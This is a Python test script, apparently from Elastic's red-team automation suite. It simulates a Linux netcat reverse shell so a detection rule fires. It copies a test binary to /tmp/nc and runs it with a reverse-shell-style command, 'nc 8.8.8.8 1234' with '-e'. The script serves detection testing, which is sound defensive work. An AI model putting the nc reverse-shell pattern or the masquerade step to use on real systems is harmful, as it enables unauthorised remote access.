38 lines
1.3 KiB
Python
38 lines
1.3 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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import sys
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from . import RtaMetadata, common
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metadata = RtaMetadata(
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uuid="ecb34b55-2947-48af-b746-3a472abfda43",
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platforms=["linux"],
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endpoint=[{"rule_name": "Linux Reverse Shell via netcat", "rule_id": "c0ca8114-254d-46ba-88c6-db57de6efe2d"}],
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siem=[],
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techniques=["T1059", "T1071"],
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)
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@common.requires_os(*metadata.platforms)
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def main() -> None:
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common.log("Creating a fake nc executable..")
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masquerade = "/tmp/nc"
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source = common.get_path("bin", "netcon_exec_chain.elf")
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common.copy_file(source, masquerade)
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common.log("Granting execute permissions...")
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common.execute(["chmod", "+x", masquerade])
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commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "1234", "-c", "-e", "nc 8.8.8.8 1234"]
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common.log("Simulating reverse shell activity..")
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common.execute([*commands], timeout=5, kill=True, shell=True) # noqa: S604
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common.log("Reverse shell simulation successful!")
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common.log("Cleaning...")
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common.remove_file(masquerade)
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common.log("Simulation successfull!")
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if __name__ == "__main__":
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sys.exit(main())
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